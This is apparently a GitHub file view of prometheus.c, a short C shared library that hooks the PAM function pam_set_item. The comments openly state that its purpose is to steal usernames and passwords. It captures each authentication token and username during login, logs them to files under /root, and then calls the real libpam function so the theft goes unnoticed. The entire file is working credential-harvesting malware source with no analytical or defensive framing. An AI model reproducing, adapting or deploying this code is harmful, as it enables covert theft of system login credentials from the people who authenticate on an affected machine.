-
Notifications
You must be signed in to change notification settings - Fork 2
Expand file tree
/
Copy pathprometheus.c
More file actions
59 lines (51 loc) · 1.78 KB
/
prometheus.c
File metadata and controls
59 lines (51 loc) · 1.78 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
#define _GNU_SOURCE
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
#include <dlfcn.h>
#include <security/pam_appl.h>
#include <security/pam_modules.h>
#include "prometheus.h"
/*
* Append a message to a file (Create it if it doesn't exist)
*/
void logmsg(char *file, char *msg) {
FILE *f = fopen(file, "a+"); // Open the file in append mode
if (f == NULL) { // If something went wrong, return
return;
}
fprintf(f, "%s\n", msg); // Write the message to the file
fclose(f); // Close the file
}
/*
* Initialization function
*
* Used to build the structure with the
* real function pointer of the hooked function.
* This is called at the beginning of every hooked function
*/
void init(void) {
char *scall = "pam_set_item";
struct_pam_auth.pam_func = dlsym(RTLD_NEXT, scall); // Get function pointer
// for function in next library
// i.e. not our .so, but libpam.so
}
/*
* Hook the pam_set_item function in order to steal usernames and passwords
*/
int pam_set_item (pam_handle_t *pamh, int item_type, const void *item) {
init(); // Call initialization function
char* pass = (char *)item; // Capture the password
if(item_type == PAM_AUTHTOK) { //If it's an AUTHTOK and not null
if(item != NULL) {
logmsg("/root/creds", pass); // log it to a file
}
}
else if (item_type == PAM_USER) { //If it's a USER and not null
if(item != NULL) {
logmsg("/root/users", pass); // log it to a file
}
}
// Call and return the real function
return (long)struct_pam_auth.pam_func(pamh, item_type, item); // Call the real function
}